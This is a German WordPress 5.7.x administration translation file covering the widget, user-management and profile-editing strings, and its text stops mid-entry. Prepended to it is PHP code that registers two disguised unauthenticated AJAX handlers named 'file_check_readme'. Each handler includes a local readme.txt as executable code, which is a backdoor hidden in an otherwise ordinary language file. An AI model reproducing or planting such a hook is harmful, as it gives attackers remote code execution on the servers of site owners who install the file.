if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
# Translation of WordPress - 5.7.x - Administration in German # This file is distributed under the same license as the WordPress - 5.7.x - Administration package. msgid "" msgstr "" "PO-Revision-Date: 2021-09-10 20:59:36+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/3.0.0-alpha.2\n" "Language: de\n" "Project-Id-Version: WordPress - 5.7.x - Administration\n" #: wp-admin/widgets.php:570 msgid "Add Widget" msgstr "Widget hinzufügen" #: wp-admin/widgets.php:496 msgid "This will clear all items from the inactive widgets list. You will not be able to restore any customizations." msgstr "Damit werden alle Elemente von deiner Liste inaktiver Widgets gelöscht. Du wirst keine Anpassungen wiederherstellen können." #: wp-admin/widgets.php:486 msgid "Clear Inactive Widgets" msgstr "Inaktive Widgets löschen" #: wp-admin/widgets.php:449 msgid "To activate a widget drag it to a sidebar or click on it. To deactivate a widget and delete its settings, drag it back." msgstr "Zieh ein Widget in eine Seitenleiste oder klicke darauf, um es zu aktivieren. Zieh es wieder zurück, um das Widget zu deaktivieren und seine Einstellungen zu löschen." #: wp-admin/widgets.php:445 msgctxt "removing-widget" msgid "Deactivate" msgstr "Deaktivieren" #: wp-admin/widgets.php:442 wp-admin/widgets.php:445 msgid "Available Widgets" msgstr "Verfügbare Widgets" #: wp-admin/widgets.php:416 msgid "Disable accessibility mode" msgstr "Zugänglichkeitsmodus deaktivieren" #: wp-admin/widgets.php:416 msgid "Enable accessibility mode" msgstr "Zugänglichkeitsmodus aktivieren" #: wp-admin/widgets.php:383 msgid "Error in displaying the widget settings form." msgstr "Fehler beim Anzeigen des Einstellungsformular für Widgets." #: wp-admin/widgets.php:378 wp-admin/js/inline-edit-post.js:438 #: wp-admin/js/inline-edit-tax.js:227 msgid "Changes saved." msgstr "Änderungen gespeichert." #: wp-admin/widgets.php:360 msgid "Save Widget" msgstr "Widget speichern" #: wp-admin/widgets.php:315 msgid "Position" msgstr "Position" #: wp-admin/widgets.php:313 msgid "Select both the sidebar for this widget and the position of the widget in that sidebar." msgstr "Wähle die Seitenleiste für das Widget und seine Position darin." #. translators: %s: Widget name. #: wp-admin/widgets.php:298 msgid "Widget %s" msgstr "Widget %s" #: wp-admin/widgets.php:129 msgid "Drag widgets here to remove them from the sidebar but keep their settings." msgstr "Willst du Widgets entfernen, aber ihre Einstellungen behalten, ziehe sie hierher." #: wp-admin/widgets.php:126 msgid "Inactive Widgets" msgstr "Inaktive Widgets" #: wp-admin/widgets.php:110 msgid "This sidebar is no longer available and does not show anywhere on your site. Remove each of the widgets below to fully remove this inactive sidebar." msgstr "Diese Seitenleiste steht nicht mehr zur Verfügung und wird auch nicht mehr angezeigt. Entferne alle noch in dieser Seitenleiste eingetragenen Widgets, um diese inaktive Seitenleiste komplett zu entfernen." #: wp-admin/widgets.php:107 msgid "Inactive Sidebar (not used)" msgstr "Inaktive Seitenleiste (ungenutzt)" #: wp-admin/widgets.php:88 msgid "The theme you are currently using isn’t widget-aware, meaning that it has no sidebars that you are able to change. For information on making your theme widget-aware, please <a href=\"https://developer.wordpress.org/themes/functionality/widgets/\">follow these instructions</a>." msgstr "Dein aktuell genutztes Theme unterstützt keine Widgets. Das bedeutet, dass es keine Seitenleiste gibt, die du ändern könntest. Was du machen musst, damit dein Theme Widgets unterstützt, kannst du <a href=\"https://developer.wordpress.org/themes/functionality/widgets/\">hier nachlesen (engl.)</a>." #: wp-admin/widgets.php:83 msgid "<a href=\"https://wordpress.org/support/article/appearance-widgets-screen/\">Documentation on Widgets</a>" msgstr "<a href=\"https://wordpress.org/support/article/appearance-widgets-screen/\">Dokumentation über Widgets (engl.)</a>" #: wp-admin/widgets.php:77 msgid "When changing themes, there is often some variation in the number and setup of widget areas/sidebars and sometimes these conflicts make the transition a bit less smooth. If you changed themes and seem to be missing widgets, scroll down on this screen to the Inactive Widgets area, where all of your widgets and their settings will have been saved." msgstr "Wenn du Themes wechselst, gibt es häufig Unterschiede in der Anzahl und Benennung der Widgetbereiche. Dies kann den Übergang etwas schwierig machen. Wenn du nach einem Themewechsel ein Widget vermisst, dann schaue im Bereich <strong>Inaktive Widgets</strong>, wo alle Widgets und ihre Einstellungen gespeichert sind." #: wp-admin/widgets.php:76 msgid "Many themes show some sidebar widgets by default until you edit your sidebars, but they are not automatically displayed in your sidebar management tool. After you make your first widget change, you can re-add the default widgets by adding them from the Available Widgets area." msgstr "Viele Themes zeigen bereits von Haus aus bestimmte widgetähnliche Navigationselemente in den Navigationsbereichen (Seitenleiste). Diese werden oft deaktivert, sobald du eigene Widgets hinzufügst. Du kannst jedoch einfach die ursprünglich benutzten Widgets erneut hinzufügen." #: wp-admin/widgets.php:74 msgid "Missing Widgets" msgstr "Fehlende Widgets" #: wp-admin/widgets.php:68 msgid "Enabling Accessibility Mode, via Screen Options, allows you to use Add and Edit buttons instead of using drag and drop." msgstr "Du kannst über den Tab „Ansicht anpassen“ auch den Zugänglichkeitsmodus aktivieren, wenn du anstelle von Drag-and-drop (Ziehen und Ablegen) lieber Buttons zum Hinzufügen und Entfernen verwenden möchtest." #: wp-admin/widgets.php:67 msgid "Widgets may be used multiple times. You can give each widget a title, to display on your site, but it’s not required." msgstr "Widgets können auch mehrfach verwendet werden. Du kannst Widgets auch Titel geben, die dann auf der Website angezeigt werden." #: wp-admin/widgets.php:66 msgid "If you want to remove the widget but save its setting for possible future use, just drag it into the Inactive Widgets area. You can add them back anytime from there. This is especially helpful when you switch to a theme with fewer or different widget areas." msgstr "Falls du ein Widget nur temporär nicht mehr benutzen möchtest, dann ziehe es in den Bereich <strong>Inaktive Widgets</strong>. Die Einstellungen des Widgets bleiben dann erhalten." #: wp-admin/widgets.php:64 msgid "Removing and Reusing" msgstr "Entfernen und Wiederherstellen" #: wp-admin/widgets.php:58 msgid "The Available Widgets section contains all the widgets you can choose from. Once you drag a widget into a sidebar, it will open to allow you to configure its settings. When you are happy with the widget settings, click the Save button and the widget will go live on your site. If you click Delete, it will remove the widget." msgstr "Im Bereich <strong>Verfügbare Widgets</strong> siehst du alle Widgets, die du benutzen kannst, indem du sie einfach auf eine Seitenleiste bzw. Widget-Bereich ziehst. Mit einem Klick auf den Pfeil im Widget-Titel werden alle Optionen des Widgets angezeigt. Vergiss nicht, nach den Änderungen eines Widgets auf „Speichern“ zu klicken. Mit einem Klick auf „Löschen“ wird das Widget und seine Einstellungen entfernt." #: wp-admin/widgets.php:57 msgid "Widgets are independent sections of content that can be placed into any widgetized area provided by your theme (commonly called sidebars). To populate your sidebars/widget areas with individual widgets, drag and drop the title bars into the desired area. By default, only the first widget area is expanded. To populate additional widget areas, click on their title bars to expand them." msgstr "Widgets sind eigenständige Module mit Inhalt, die in allen für Wigdets vorgesehene Bereiche deines Themes platziert werden können. (Dies ist meistens die Seitenleiste.) Um diese Widget-Bereiche, wie Seitenleiste oder Footer, individuell mit Widgets zu gestalten, ziehe einfach per Drag-and-drop vom Titel des Widget dieses in den entsprechenden Bereich. Standardmäßig ist nur der erste Widget-Bereich aufgeklappt. Um weitere Inhalte in Widget-Bereiche einzupflegen, klicke auf den Pfeil im Titel des Widget-Bereichs, um diesen aufzuklappen, die enthaltenen Widgets zu sehen und neue hinzuzufügen oder zu entfernen." #: wp-admin/users.php:584 msgid "Other users have been removed." msgstr "Andere Benutzer wurden entfernt." #: wp-admin/users.php:583 msgid "You can't remove the current user." msgstr "Du kannst den aktuellen Benutzer nicht löschen." #: wp-admin/users.php:580 wp-admin/network/site-users.php:255 msgid "User removed from this site." msgstr "Benutzer von dieser Website entfernt." #: wp-admin/users.php:577 msgid "Other users have been deleted." msgstr "Andere Benutzer sind gelöscht worden." #: wp-admin/users.php:576 msgid "You can’t delete the current user." msgstr "Du kannst den aktuellen Benutzer nicht löschen." #: wp-admin/users.php:573 msgid "Other user roles have been changed." msgstr "Die Rollen der anderen Benutzer sind verändert worden." #: wp-admin/users.php:572 msgid "The current user’s role must have user editing capabilities." msgstr "Die Rolle des aktuellen Benutzers muss die Berechtigung zum Bearbeiten von Benutzern haben." #: wp-admin/users.php:569 wp-admin/network/site-users.php:249 msgid "Changed roles." msgstr "Rollen gewechselt." #. translators: %s: Number of users. #: wp-admin/users.php:564 msgid "Password reset links sent to %s user." msgid_plural "Password reset links sent to %s users." msgstr[0] "Links zum Zurücksetzen des Passworts an %s Benutzer gesendet." msgstr[1] "Links zum Zurücksetzen des Passworts an %s Benutzer gesendet." #: wp-admin/users.php:561 msgid "Password reset link sent." msgstr "Link zum Zurücksetzen des Passworts gesendet." #: wp-admin/users.php:539 msgid "New user created." msgstr "Neuen Benutzer eingerichtet." #. translators: %s: Number of users. #: wp-admin/users.php:534 msgid "%s user deleted." msgid_plural "%s users deleted." msgstr[0] "%s Benutzer gelöscht." msgstr[1] "%s Benutzer gelöscht." #: wp-admin/users.php:531 wp-admin/network/users.php:250 msgid "User deleted." msgstr "Benutzer gelöscht." #: wp-admin/users.php:489 msgid "There are no valid users selected for removal." msgstr "Es sind keine gültigen Benutzer zum Entfernen ausgewählt." #: wp-admin/users.php:487 msgid "Confirm Removal" msgstr "Löschen durchführen" #. translators: 1: User ID, 2: User login. #: wp-admin/users.php:476 msgid "ID #%1$s: %2$s <strong>Sorry, you are not allowed to remove this user.</strong>" msgstr "ID #%1$s: %2$s <strong>Du bist leider nicht berechtigt diesen Benutzer zu entfernen.</strong>" #: wp-admin/users.php:465 msgid "You have specified these users for removal:" msgstr "Du hast folgende Benutzer zum Löschen ausgewählt:" #: wp-admin/users.php:463 msgid "You have specified this user for removal:" msgstr "Du hast diesen Benutzer zum Löschen festgelegt:" #: wp-admin/users.php:460 msgid "Remove Users from Site" msgstr "Entferne Benutzer von dieser Website" #: wp-admin/users.php:412 wp-admin/users.php:444 #: wp-admin/network/site-users.php:120 msgid "Sorry, you are not allowed to remove users." msgstr "Du bist leider nicht berechtigt, Benutzer zu löschen." #: wp-admin/users.php:403 wp-admin/users.php:435 msgid "You can’t remove users." msgstr "Du kannst keine Benutzer entfernen." #: wp-admin/users.php:391 msgid "There are no valid users selected for deletion." msgstr "Es sind keine gültigen Benutzer zum Löschen ausgewählt." #: wp-admin/users.php:357 msgid "What should be done with content owned by these users?" msgstr "Was soll mit den Inhalten geschehen, die den folgenden Benutzern gehören?" #: wp-admin/users.php:355 msgid "What should be done with content owned by this user?" msgstr "Was soll mit dem Inhalt dieses Benutzers passieren?" #. translators: 1: User ID, 2: User login. #: wp-admin/users.php:341 wp-admin/users.php:479 msgid "ID #%1$s: %2$s" msgstr "ID #%1$s: %2$s" #. translators: 1: User ID, 2: User login. #: wp-admin/users.php:338 msgid "ID #%1$s: %2$s <strong>The current user will not be deleted.</strong>" msgstr "ID #%1$s: %2$s <strong>Der angemeldete Benutzer wird nicht gelöscht.</strong>" #: wp-admin/users.php:328 msgid "You have specified these users for deletion:" msgstr "Du hast folgende Benutzer zum Löschen markiert:" #: wp-admin/users.php:326 msgid "You have specified this user for deletion:" msgstr "Du hast diesen Benutzer zum Löschen ausgewählt:" #: wp-admin/users.php:321 msgid "Please select an option." msgstr "Bitte wähle eine Option." #: wp-admin/users.php:318 msgid "Delete Users" msgstr "Benutzer löschen" #: wp-admin/users.php:223 msgid "Sorry, you are not allowed to edit users." msgstr "Du bist leider nicht berechtigt, Benutzer zu bearbeiten." #: wp-admin/users.php:192 msgid "Sorry, you are not allowed to delete that user." msgstr "Du bist leider nicht berechtigt, diesen Benutzer zu löschen." #: wp-admin/users.php:184 wp-admin/users.php:273 msgid "Sorry, you are not allowed to delete users." msgstr "Du bist leider nicht berechtigt, Benutzer zu löschen." #: wp-admin/users.php:164 wp-admin/users.php:262 msgid "User deletion is not allowed from this screen." msgstr "Benutzer dürfen nicht über diese Seite gelöscht werden." #: wp-admin/users.php:150 wp-admin/network/site-users.php:159 msgid "One of the selected users is not a member of this site." msgstr "Einer der ausgewählten Benutzer ist kein Mitglied dieser Website." #: wp-admin/users.php:83 wp-admin/network/users.php:238 msgid "Users list" msgstr "Benutzerliste" #: wp-admin/users.php:82 wp-admin/network/users.php:237 msgid "Users list navigation" msgstr "Navigation der Benutzerliste" #: wp-admin/users.php:81 wp-admin/network/users.php:236 msgid "Filter users list" msgstr "Benutzerliste filtern" #: wp-admin/users.php:75 msgid "<a href=\"https://wordpress.org/support/article/roles-and-capabilities/\">Descriptions of Roles and Capabilities</a>" msgstr "<a href=\"https://wordpress.org/support/article/roles-and-capabilities/\">Beschreibungen von Rollen und Berechtigungen (engl.)</a>" #: wp-admin/users.php:74 msgid "<a href=\"https://wordpress.org/support/article/users-screen/\">Documentation on Managing Users</a>" msgstr "<a href=\"https://wordpress.org/support/article/users-screen/\">Dokumentation zur Benutzerverwaltung (engl.)</a>" #: wp-admin/users.php:58 msgid "<strong>Delete</strong> brings you to the Delete Users screen for confirmation, where you can permanently remove a user from your site and delete their content. You can also delete multiple users at once by using bulk actions." msgstr "<strong>Löschen</strong> bringt dich zur „Benutzer löschen“-Ansicht zur Bestätigung deinerseits, dass du einen Benutzer unwiderruflich von deiner Website entfernen und auch dessen Inhalte löschen willst. Du kannst über die Mehrfachaktionen auch mehrere Benutzer auf einmal löschen." #: wp-admin/users.php:56 msgid "<strong>Remove</strong> allows you to remove a user from your site. It does not delete their content. You can also remove multiple users at once by using bulk actions." msgstr "<strong>Entfernen</strong> ermöglicht es dir, einen Benutzer von deiner Website zu entfernen. Dessen Inhalte werden nicht gelöscht. Du kannst auch mehrere Benutzer auf einmal löschen, indem du die Mehrfachaktionen verwendest." #: wp-admin/users.php:53 msgid "<strong>Edit</strong> takes you to the editable profile screen for that user. You can also reach that screen by clicking on the username." msgstr "<strong>Bearbeiten</strong> führt dich zur bearbeitbaren Profilansicht des ausgewählten Benutzers. Du kannst alternativ auch einfach den Benutzernamen anklicken." #: wp-admin/users.php:51 msgid "Hovering over a row in the users list will display action links that allow you to manage users. You can perform the following actions:" msgstr "Bei Mauszeigerkontakt mit einem Eintrag in der Benutzerliste werden zusätzliche Links angezeigt, mit denen du Benutzer verwalten kannst. Folgende Aktionen sind möglich:" #: wp-admin/users.php:46 msgid "You can view all posts made by a user by clicking on the number under the Posts column." msgstr "Du kannst dir alle Beiträge eines bestimmten Benutzers anschauen, indem du auf die Zahl unter der Beitrags-Spalte klickst." #: wp-admin/users.php:45 msgid "You can filter the list of users by User Role using the text links above the users list to show All, Administrator, Editor, Author, Contributor, or Subscriber. The default view is to show all users. Unused User Roles are not listed." msgstr "Du kannst die Liste der Benutzer nach ihrer Rolle filtern. Benutze die Links über der Liste, um alle Benutzer, Administratoren, Editoren, Autoren, Beitragende oder Abonnenten anzuzeigen. Standardmäßig werden alle Benutzer angezeigt. Unbenutzte Rollen werden nicht aufgezählt." #: wp-admin/users.php:44 msgid "You can hide/display columns based on your needs and decide how many users to list per screen using the Screen Options tab." msgstr "Über „Ansicht anpassen“ kannst du Spalten je nach deinen persönlichen Wünschen anzeigen oder verbergen und bestimmen, wie viele Benutzer pro Bildschirm aufgelistet werden sollen." #: wp-admin/users.php:42 msgid "You can customize the display of this screen in a number of ways:" msgstr "Du kannst die Darstellung dieser Übersichtsseite auf verschiedene Arten ändern:" #: wp-admin/users.php:34 msgid "To add a new user for your site, click the Add New button at the top of the screen or Add New in the Users menu section." msgstr "Um einen neuen Benutzer anzulegen, klicke auf den Button „Neu hinzufügen“ in dieser Seite oder im Menü unter Benutzer." #: wp-admin/users.php:33 msgid "This screen lists all the existing users for your site. Each user has one of five defined roles as set by the site admin: Site Administrator, Editor, Author, Contributor, or Subscriber. Users with roles other than Administrator will see fewer options in the dashboard navigation when they are logged in, based on their role." msgstr "Diese Übersichtsseite zeigt alle Benutzer deiner Website an. Jeder Benutzer hat eine von fünf vordefinierten Rollen, welche durch den Administrator vergeben werden können: Administrator, Redakteur, Autor, Mitarbeiter, Abonnent. Benutzer die keine Administrator-Rolle haben, sehen je nach Benutzerrolle, nicht alle Einstellungen, Optionen etc." #: wp-admin/user-new.php:597 msgid "Send the new user an email about their account." msgstr "Der Benutzer soll eine E-Mail zu seinem Konto erhalten." #: wp-admin/user-new.php:594 msgid "Send User Notification" msgstr "Benutzer benachrichtigen" #: wp-admin/user-new.php:581 msgid "Type the password again." msgstr "Gib dein Passwort erneut ein." #: wp-admin/user-new.php:563 msgid "Generate password" msgstr "Passwort generieren" #: wp-admin/user-new.php:482 msgid "Create a brand new user and add them to this site." msgstr "Lege einen neuen Benutzer an und füge ihn dieser Website hinzu." #: wp-admin/user-new.php:453 wp-admin/user-new.php:620 msgid "Add the user without sending an email that requires their confirmation." msgstr "Benutzer hinzufügen ohne eine E-Mail zu versenden, die bestätigt werden muss." #: wp-admin/user-new.php:450 wp-admin/user-new.php:617 msgid "Skip Confirmation Email" msgstr "Keine Bestätigungs-E-Mail" #: wp-admin/user-new.php:419 msgid "Email or Username" msgstr "E-Mail-Adresse oder Benutzername" #: wp-admin/user-new.php:418 msgid "Enter the email address or username of an existing user on this network to invite them to this site. That person will be sent an email asking them to confirm the invite." msgstr "Gib die E-Mail-Adresse oder den Benutzernamen eines bestehenden Benutzers dieses Netzwerkes ein, um ihn zu dieser Website einzuladen. Dieser Person wird eine E-Mail gesendet, um die Einladung zu bestätigen." #: wp-admin/user-new.php:414 msgid "Enter the email address of an existing user on this network to invite them to this site. That person will be sent an email asking them to confirm the invite." msgstr "Gib die E-Mail-Adresse eines bestehenden Benutzers dieses Netzwerkes ein, um ihn zu dieser Website einzuladen. Dieser Person wird eine E-Mail gesendet, um die Einladung zu bestätigen." #: wp-admin/user-new.php:372 wp-admin/user-new.php:411 #: wp-admin/user-new.php:472 wp-admin/network/site-users.php:298 msgid "Add Existing User" msgstr "Bestehenden Benutzer hinzufügen" #: wp-admin/user-new.php:361 wp-admin/network/site-users.php:237 #: wp-admin/network/user-new.php:91 wp-admin/network/users.php:262 msgid "User added." msgstr "Benutzer hinzugefügt." #: wp-admin/user-new.php:350 msgid "User has been created, but could not be added to this site." msgstr "Der Benutzer wurde erstellt, konnte aber nicht zur Website hinzugefügt werden." #: wp-admin/user-new.php:347 msgid "That user could not be added to this site." msgstr "Der Benutzer konnte nicht zu dieser Website hinzugefügt werden." #: wp-admin/user-new.php:344 msgid "That user is already a member of this site." msgstr "Dieser Benutzer ist bereits ein Mitglied dieser Website." #: wp-admin/user-new.php:338 wp-admin/users.php:552 #: wp-admin/network/user-new.php:94 msgid "Edit user" msgstr "Benutzer bearbeiten" #: wp-admin/user-new.php:335 msgid "User has been added to your site." msgstr "Der Benutzer wurde zu deiner Website hinzugefügt." #: wp-admin/user-new.php:332 msgid "Invitation email sent to user. A confirmation link must be clicked for them to be added to your site." msgstr "Einladungs-E-Mail versandt. Der Benutzer muss den Bestätigungslink anklicken, um deiner Website hinzugefügt zu werden." #: wp-admin/user-new.php:329 msgid "Invitation email sent to new user. A confirmation link must be clicked before their account is created." msgstr "Die Einladungs-E-Mail wurde zum neuen Benutzer versandt. Er muss noch den Bestätigungslink anklicken, damit dieses Benutzerkonto erfolgreich angelegt wird." #: wp-admin/user-new.php:294 msgid "<a href=\"https://wordpress.org/support/article/users-add-new-screen/\">Documentation on Adding New Users</a>" msgstr "<a href=\"https://wordpress.org/support/article/users-add-new-screen/\">Dokumentation über das Hinzufügen neuer Benutzer (engl.)</a>" #: wp-admin/user-new.php:287 msgid "Administrators have access to all the administration features." msgstr "Administratoren haben vollen Zugriff auf alle administrativen Funktionen." #: wp-admin/user-new.php:286 msgid "Editors can publish posts, manage posts as well as manage other people’s posts, etc." msgstr "Redakteure können Beiträge veröffentlichen, Beiträge verwalten sowie die Beiträge anderer Personen verwalten usw." #: wp-admin/user-new.php:285 msgid "Authors can publish and manage their own posts, and are able to upload files." msgstr "Autoren können ihre eigenen Beiträge veröffentlichen und verwalten, und auch Dateien hochladen." #: wp-admin/user-new.php:284 msgid "Contributors can write and manage their posts but not publish posts or upload media files." msgstr "Mitarbeiter können eigene Beiträge schreiben und bearbeiten, sie jedoch nicht veröffentlichen. Auch dürfen sie keine Dateien hochladen." #: wp-admin/user-new.php:283 msgid "Subscribers can read comments/comment/receive newsletters, etc. but cannot create regular site content." msgstr "Abonnenten können nur Kommentare lesen und abgeben, aber keine eigenen Inhalte erstellen." #: wp-admin/user-new.php:281 msgid "Here is a basic overview of the different user roles and the permissions associated with each one:" msgstr "Hier ist ein grober Überblick über die verschiedenen Benutzerrollen und die jeweils damit verknüpften Berechtigungen:" #: wp-admin/user-new.php:280 msgid "User Roles" msgstr "Benutzerrollen" #: wp-admin/user-new.php:267 msgid "Remember to click the Add New User button at the bottom of this screen when you are finished." msgstr "Vergiss nicht, unten auf dieser Seite auf „Neuen Benutzer hinzufügen“ zu klicken, wenn du fertig bist." #: wp-admin/user-new.php:264 msgid "By default, new users will receive an email letting them know they’ve been added as a user for your site. This email will also contain a password reset link. Uncheck the box if you don’t want to send the new user a welcome email." msgstr "Neue Benutzer erhalten standardmäßig eine E-Mail, die ihnen mitteilt, dass sie als Benutzer deiner Website hinzugefügt wurden. Diese E-Mail enthält auch einen Link zum Zurücksetzen des Passworts. Wähle diese Option ab, wenn du einem neuen Benutzer keine Willkommens-E-Mail senden möchtest." #: wp-admin/user-new.php:262 msgid "New users are automatically assigned a password, which they can change after logging in. You can view or edit the assigned password by clicking the Show Password button. The username cannot be changed once the user has been added." msgstr "Neue Benutzer bekommen automatisch ein Passwort zugewiesen, welches sie nach dem Anmelden ändern können. Du kannst das zugewiesene Passwort durch Klicken auf den „Passwort anzeigen“-Button anzeigen oder ändern. Der Benutzername kann nicht geändert werden, sobald der Benutzer hinzugefügt wurde." #: wp-admin/user-new.php:260 msgid "New users will receive an email letting them know they’ve been added as a user for your site. This email will also contain their password. Check the box if you don’t want the user to receive a welcome email." msgstr "Neue Benutzer erhalten eine E-Mail, um sie wissen zu lassen, dass sie als Benutzer deiner Website hinzugefügt wurden. Diese E-Mail wird auch ihr Passwort beinhalten. Aktiviere das Kontrollkästchen, wenn du nicht willst, dass eine Willkommens-Nachricht verschickt wird." #: wp-admin/user-new.php:259 msgid "Because this is a multisite installation, you may add accounts that already exist on the Network by specifying a username or email, and defining a role. For more options, such as specifying a password, you have to be a Network Administrator and use the hover link under an existing user’s name to Edit the user profile under Network Admin > All Users." msgstr "Da dies eine Netzwerk-Installation (Multisite) ist, kannst du existierende Benutzer aus anderen Websites dieses Netzwerks hinzufügen, indem du einen Benutzernamen oder eine E-Mail-Adresse angibst sowie eine Benutzerrolle festlegst. Für weitere Optionen (wie Passwörter festlegen), musst du Netzwerk-Administrator sein. Du kannst dann über Netzwerkverwaltung > Alle Benutzer das Profil des Benutzers verändern." #: wp-admin/user-new.php:256 msgid "To add a new user to your site, fill in the form on this screen and click the Add New User button at the bottom." msgstr "Um einen neuen Benutzer zu deiner Website hinzuzufügen, fülle das Formular auf dieser Seite aus, und klicke unten auf Neuen Benutzer hinzufügen." #. translators: Joining confirmation notification email subject. %s: Site #. title. #: wp-admin/user-new.php:129 msgid "[%s] Joining Confirmation" msgstr "[%s] Anmeldebestätigung" #. translators: 1: Site title, 2: Site URL, 3: User role, 4: Activation URL. #: wp-admin/user-new.php:116 msgid "" "Hi,\n" "\n" "You've been invited to join '%1$s' at\n" "%2$s with the role of %3$s.\n" "\n" "Please click the following link to confirm the invite:\n" "%4$s" msgstr "" "Hallo,\n" "\n" "du wurdest eingeladen, %1$s (%2$s) als %3$s beizutreten.\n" "Bitte klicke auf den folgenden Link, um die Einladung zu bestätigen:\n" "%4$s" #: wp-admin/user-new.php:23 wp-admin/user-new.php:183 msgid "Sorry, you are not allowed to create users." msgstr "Du bist leider nicht berechtigt, Benutzer zu erstellen." #: wp-admin/user-new.php:16 wp-admin/user-new.php:56 #: wp-admin/network/user-new.php:14 msgid "Sorry, you are not allowed to add users to this network." msgstr "Du bist leider nicht berechtigt, Benutzer zu diesem Netzwerk hinzuzufügen." #: wp-admin/user-edit.php:904 wp-admin/js/application-passwords.js:196 #: wp-admin/js/common.js:1102 msgid "Dismiss this notice." msgstr "Diese Meldung ausblenden." #: wp-admin/user-edit.php:873 msgid "Update User" msgstr "Benutzer aktualisieren" #: wp-admin/user-edit.php:873 msgid "Update Profile" msgstr "Profil aktualisieren" #. translators: %s: Capability name. #: wp-admin/user-edit.php:859 msgid "Denied: %s" msgstr "Verweigert: %s" #: wp-admin/user-edit.php:845 msgid "Capabilities" msgstr "Berechtigungen" #: wp-admin/user-edit.php:842 msgid "Additional Capabilities" msgstr "Zusätzliche Berechtigungen" #: wp-admin/user-edit.php:783 msgid "Add New Application Password" msgstr "Neues Anwendungspasswort hinzufügen" #: wp-admin/user-edit.php:769 msgid "Required to create an Application Password, but not to update the user." msgstr "Erforderlich, um ein Anwendungspasswort zu erstellen, aber nicht, um den Benutzer zu aktualisieren. " #. translators: 1: URL to my-sites.php, 2: Number of blogs the user has. #: wp-admin/user-edit.php:749 msgid "Application passwords grant access to <a href=\"%1$s\">the %2$s blog in this installation that you have permissions on</a>." msgid_plural "Application passwords grant access to <a href=\"%1$s\">all %2$s blogs in this installation that you have permissions on</a>." msgstr[0] "Anwendungspasswörter ermöglichen den Zugriff auf <a href=\"%1$s\">das %2$s Blog in dieser Installation, für das du Berechtigungen hast</a>." msgstr[1] "Anwendungspasswörter ermöglichen den Zugriff auf <a href=\"%1$s\">die %2$s Blogs in dieser Installation, für die du Berechtigungen hast</a>." #: wp-admin/user-edit.php:738 msgid "Application passwords allow authentication via non-interactive systems, such as XML-RPC or the REST API, without providing your actual password. Application passwords can be easily revoked. They cannot be used for traditional logins to your website." msgstr "Anwendungspasswörter ermöglichen die Authentifizierung über nicht-interaktive Systeme wie XML-RPC oder die REST-API, ohne dass du dein tatsächliches Passwort angeben musst. Anwendungspasswörter können leicht widerrufen werden. Sie können nicht für herkömmliche Anmeldungen auf deiner Website verwendet werden." #: wp-admin/user-edit.php:737 msgid "Application Passwords" msgstr "Anwendungspasswörter" #. translators: %s: User's display name. #: wp-admin/user-edit.php:725 msgid "Log %s out of all locations." msgstr "%s an allen Plätzen abmelden." #: wp-admin/user-edit.php:721 msgid "Log Out Everywhere" msgstr "Überall abmelden" #: wp-admin/user-edit.php:713 msgid "Did you lose your phone or leave your account logged in at a public computer? You can log out everywhere else, and stay logged in here." msgstr "Bist du noch an einem öffentlich zugänglichen Computer angemeldet? Hast du dein Smartphone verloren? Hiermit meldest du dich überall ab, bleibst aber hier eingeloggt." #: wp-admin/user-edit.php:703 msgid "You are only logged in at this location." msgstr "Du bist nur an diesem Ort angemeldet." #: wp-admin/user-edit.php:701 wp-admin/user-edit.php:711 msgid "Log Out Everywhere Else" msgstr "Überall sonst abmelden" #: wp-admin/user-edit.php:699 wp-admin/user-edit.php:709 #: wp-admin/user-edit.php:719 msgid "Sessions" msgstr "Sessions" #. translators: %s: User's display name. #: wp-admin/user-edit.php:688 msgid "Send %s a link to reset their password. This will not change their password, nor will it force a change." msgstr "Sende %s einen Link zum Zurücksetzen des Passworts. Dadurch wird das Passwort nicht geändert und auch keine Änderung erzwungen." #: wp-admin/user-edit.php:682 msgid "Send Reset Link" msgstr "Einen Link zum Zurücksetzen senden" #: wp-admin/user-edit.php:658 msgid "Type the new password again." msgstr "Gib dein neues Passwort erneut ein." #: wp-admin/user-edit.php:656 msgid "Type your new password again." msgstr "Gib dein neues Passwort nochmal ein." #: wp-admin/user-edit.php:652 msgid "Repeat New Password" msgstr "Neues Passwort wiederholen" #: wp-admin/user-edit.php:643 msgid "Cancel password change" msgstr "Passwortänderung abbrechen" #: wp-admin/user-edit.php:634 msgid "Set New Password" msgstr "Neues Passwort erstellen" #: wp-admin/user-edit.php:631 msgid "New Password" msgstr "Neues Passwort" #: wp-admin/user-edit.php:628 msgid "Account Management" msgstr "Benutzerkonten-Verwaltung" #: wp-admin/user-edit.php:591 msgid "https://en.gravatar.com/" msgstr "https://de.gravatar.com/" #. translators: %s: Gravatar URL. #: wp-admin/user-edit.php:590 msgid "<a href=\"%s\">You can change your profile picture on Gravatar</a>." msgstr "<a href=\"%s\">Du kannst dein Profilbild auf Gravatar ändern (engl.)</a>." #: wp-admin/user-edit.php:582 msgid "Profile Picture" msgstr "Profilbild" #: wp-admin/user-edit.php:577 msgid "Share a little biographical information to fill out your profile. This may be shown publicly." msgstr "Teile ein paar biografische Informationen, um dein Profil zu ergänzen. Die Informationen könnten öffentlich sichtbar sein." #: wp-admin/user-edit.php:575 msgid "Biographical Info" msgstr "Biografische Angaben" #: wp-admin/user-edit.php:571 msgid "About the user" msgstr "Über den Benutzer" #: wp-admin/user-edit.php:571 msgid "About Yourself" msgstr "Über Dich" #. translators: %s: New email. #: wp-admin/user-edit.php:525 msgid "There is a pending change of your email to %s." msgstr "Eine Änderung deiner E-Mail-Adresse in %s steht noch aus." #: wp-admin/user-edit.php:512 msgid "If you change this, we will send you an email at your new address to confirm it. <strong>The new address will not become active until confirmed.</strong>" msgstr "Wenn du das änderst, senden wir dir eine E-Mail an deine neue Adresse, um die Änderung zu bestätigen. <strong>Die neue Adresse wird erst nach Bestätigung aktiv.</strong>" #: 